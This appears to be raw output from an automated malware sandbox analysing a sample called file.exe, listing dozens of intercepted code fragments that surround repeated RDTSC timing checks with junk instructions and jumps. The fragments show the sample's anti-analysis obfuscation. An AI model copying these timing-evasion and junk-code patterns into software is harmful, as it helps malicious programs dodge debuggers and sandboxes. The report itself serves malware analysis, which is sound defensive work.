Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532037A second address: 532041B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC708C2198Fh 0x00000009 jmp 00007FC708C21993h 0x0000000e popfd 0x0000000f mov ch, 2Dh 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 jmp 00007FC708C21990h 0x0000001a mov dword ptr [esp], ebp 0x0000001d jmp 00007FC708C21990h 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 mov dh, cl 0x00000027 pushfd 0x00000028 jmp 00007FC708C21993h 0x0000002d add ah, 0000004Eh 0x00000030 jmp 00007FC708C21999h 0x00000035 popfd 0x00000036 popad 0x00000037 pop ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b jmp 00007FC708C21993h 0x00000040 push esi 0x00000041 pop ebx 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53301BC second address: 5330217 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push ebx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FC708CACEA2h 0x00000016 and al, FFFFFFA8h 0x00000019 jmp 00007FC708CACE9Bh 0x0000001e popfd 0x0000001f mov edi, ecx 0x00000021 popad 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007FC708CACEA5h 0x00000029 xchg eax, ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330217 second address: 533021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533021B second address: 5330221 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330221 second address: 5330227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340422 second address: 5340428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340428 second address: 5340441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340441 second address: 5340447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340447 second address: 53404EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708C21996h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FC708C2198Eh 0x00000018 xor eax, 210DB468h 0x0000001e jmp 00007FC708C2198Bh 0x00000023 popfd 0x00000024 movzx esi, di 0x00000027 popad 0x00000028 mov eax, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c mov eax, edi 0x0000002e popad 0x0000002f and dword ptr [eax], 00000000h 0x00000032 pushad 0x00000033 movzx esi, dx 0x00000036 mov dx, 4774h 0x0000003a popad 0x0000003b and dword ptr [eax+04h], 00000000h 0x0000003f pushad 0x00000040 mov dh, 11h 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007FC708C21990h 0x00000049 sub ax, 0928h 0x0000004e jmp 00007FC708C2198Bh 0x00000053 popfd 0x00000054 mov dl, ah 0x00000056 popad 0x00000057 popad 0x00000058 pop ebp 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FC708C2198Eh 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53404EB second address: 53404F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53404F1 second address: 53404F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320525 second address: 5320535 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708CACE9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320535 second address: 5320539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320539 second address: 5320573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FC708CACE9Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 pop ebx 0x00000015 jmp 00007FC708CACEA8h 0x0000001a popad 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320573 second address: 5320581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320581 second address: 5320585 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320585 second address: 5320589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5320589 second address: 532058F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 532058F second address: 53205A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C2198Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EF4 second address: 5330EF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EF8 second address: 5330EFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EFE second address: 5330F2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 pushfd 0x00000006 jmp 00007FC708CACEA0h 0x0000000b sbb cx, 5C78h 0x00000010 jmp 00007FC708CACE9Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F2F second address: 5330F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F33 second address: 5330F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F37 second address: 5330F3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F3D second address: 5330F5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC708CACE9Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F5C second address: 5330F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC708C21990h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F80 second address: 5330F8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53401D8 second address: 53401DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53401DC second address: 53401E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53401E2 second address: 5340240 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 jmp 00007FC708C21993h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 call 00007FC708C2198Bh 0x00000017 pop ecx 0x00000018 pushfd 0x00000019 jmp 00007FC708C21999h 0x0000001e or ax, 0DD6h 0x00000023 jmp 00007FC708C21991h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5340240 second address: 5340264 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC708CACE9Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360609 second address: 536063B instructions: 0x00000000 rdtsc 0x00000002 mov al, 96h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 mov cl, DAh 0x0000000b jmp 00007FC708C21999h 0x00000010 popad 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ch, bh 0x00000019 mov ax, AEDBh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536063B second address: 5360698 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC708CACEA7h 0x00000009 and eax, 6B28353Eh 0x0000000f jmp 00007FC708CACEA9h 0x00000014 popfd 0x00000015 mov edi, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FC708CACEA9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360698 second address: 53606C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC708C21997h 0x00000008 mov ch, 22h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ebx, 6E587BE0h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606C2 second address: 53606C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606C7 second address: 53606DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, cl 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edi, esi 0x00000012 mov bl, ch 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53606DC second address: 5360742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [774365FCh] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FC708CACE9Eh 0x00000015 xor cl, FFFFFF88h 0x00000018 jmp 00007FC708CACE9Bh 0x0000001d popfd 0x0000001e jmp 00007FC708CACEA8h 0x00000023 popad 0x00000024 test eax, eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FC708CACEA7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360742 second address: 5360748 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360748 second address: 536074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536080C second address: 5360824 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov dl, D6h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC708C2198Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360824 second address: 5360852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 call 00007FC708CACE9Bh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ret 0x00000010 nop 0x00000011 push eax 0x00000012 call 00007FC70D4AD609h 0x00000017 mov edi, edi 0x00000019 jmp 00007FC708CACE9Fh 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ebx, ecx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360852 second address: 536086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21996h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536086C second address: 53608B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FC708CACE9Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ax, 50FDh 0x00000014 mov eax, 3F91FFF9h 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FC708CACE9Ch 0x00000025 adc cx, AD08h 0x0000002a jmp 00007FC708CACE9Bh 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53608B3 second address: 53608CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21994h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531001B second address: 531001F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531001F second address: 5310025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310025 second address: 531008C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FC708CACEA8h 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f jmp 00007FC708CACE9Eh 0x00000014 mov dword ptr [esp], ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007FC708CACE9Dh 0x0000001f pushfd 0x00000020 jmp 00007FC708CACEA0h 0x00000025 sub eax, 623F13F8h 0x0000002b jmp 00007FC708CACE9Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531008C second address: 53100A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21994h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100A4 second address: 53100CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov bx, ax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC708CACE9Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53100CB second address: 531015F instructions: 0x00000000 rdtsc 0x00000002 mov esi, 298CA691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a and esp, FFFFFFF8h 0x0000000d jmp 00007FC708C2198Ch 0x00000012 xchg eax, ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 mov bx, 608Ah 0x0000001b mov edx, 0F94FB56h 0x00000020 popad 0x00000021 xchg eax, ecx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FC708C21993h 0x00000029 sbb ch, FFFFFFDEh 0x0000002c jmp 00007FC708C21999h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007FC708C21990h 0x00000038 adc ah, FFFFFFD8h 0x0000003b jmp 00007FC708C2198Bh 0x00000040 popfd 0x00000041 popad 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 mov al, 04h 0x00000046 mov ecx, edi 0x00000048 popad 0x00000049 push eax 0x0000004a jmp 00007FC708C2198Ah 0x0000004f xchg eax, ebx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 mov cl, 16h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531015F second address: 5310163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310231 second address: 5310237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310237 second address: 531023B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 531023B second address: 5310299 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC77ACBFD58h 0x0000000e pushad 0x0000000f mov al, bl 0x00000011 mov edx, eax 0x00000013 popad 0x00000014 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001b pushad 0x0000001c mov bx, cx 0x0000001f jmp 00007FC708C2198Ah 0x00000024 popad 0x00000025 je 00007FC77ACBFD4Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FC708C2198Dh 0x00000034 xor cx, FA76h 0x00000039 jmp 00007FC708C21991h 0x0000003e popfd 0x0000003f mov esi, 75F1BD67h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310299 second address: 5310304 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007FC708CACE9Eh 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 pushad 0x00000015 mov eax, 674ADC9Dh 0x0000001a mov ebx, esi 0x0000001c popad 0x0000001d test edx, 61000000h 0x00000023 jmp 00007FC708CACEA4h 0x00000028 jne 00007FC77AD4B23Dh 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 movsx edx, si 0x00000034 jmp 00007FC708CACEA6h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5310304 second address: 5310316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C2198Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300805 second address: 530082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC708CACEA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530082A second address: 530082E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530082E second address: 530088D instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC708CACE9Dh 0x00000008 or ax, B486h 0x0000000d jmp 00007FC708CACEA1h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dh, cl 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushad 0x0000001b mov si, dx 0x0000001e jmp 00007FC708CACE9Bh 0x00000023 popad 0x00000024 mov si, 3C1Fh 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007FC708CACEA2h 0x00000030 and esp, FFFFFFF8h 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 mov ebx, eax 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530088D second address: 53008C0 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC708C21998h 0x00000008 add ecx, 307D33E8h 0x0000000e jmp 00007FC708C2198Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53008C0 second address: 530092F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC708CACEA4h 0x00000008 add cx, C648h 0x0000000d jmp 00007FC708CACE9Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebx 0x00000017 jmp 00007FC708CACEA6h 0x0000001c push eax 0x0000001d pushad 0x0000001e jmp 00007FC708CACEA1h 0x00000023 push ecx 0x00000024 mov al, bh 0x00000026 pop ecx 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FC708CACEA2h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530092F second address: 5300935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300935 second address: 5300939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A2E second address: 5300A8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007FC708C2198Eh 0x00000015 mov ecx, esi 0x00000017 jmp 00007FC708C21990h 0x0000001c je 00007FC77ACC72C3h 0x00000022 jmp 00007FC708C21990h 0x00000027 test byte ptr [77436968h], 00000002h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov eax, ebx 0x00000033 mov bh, C8h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300A8B second address: 5300AF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC708CACEA1h 0x00000009 or ax, CA86h 0x0000000e jmp 00007FC708CACEA1h 0x00000013 popfd 0x00000014 call 00007FC708CACEA0h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d jne 00007FC77AD52781h 0x00000023 jmp 00007FC708CACEA1h 0x00000028 mov edx, dword ptr [ebp+0Ch] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC708CACE9Dh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300AF4 second address: 5300B0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21991h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300B0F second address: 5300B43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FC708CACEA9h 0x0000000a or ch, 00000056h 0x0000000d jmp 00007FC708CACEA1h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C31 second address: 5300C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C37 second address: 5300C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C3B second address: 5300C3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C3F second address: 5300C6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esp, ebp 0x0000000a jmp 00007FC708CACE9Fh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FC708CACEA0h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5300C6D second address: 5300C73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
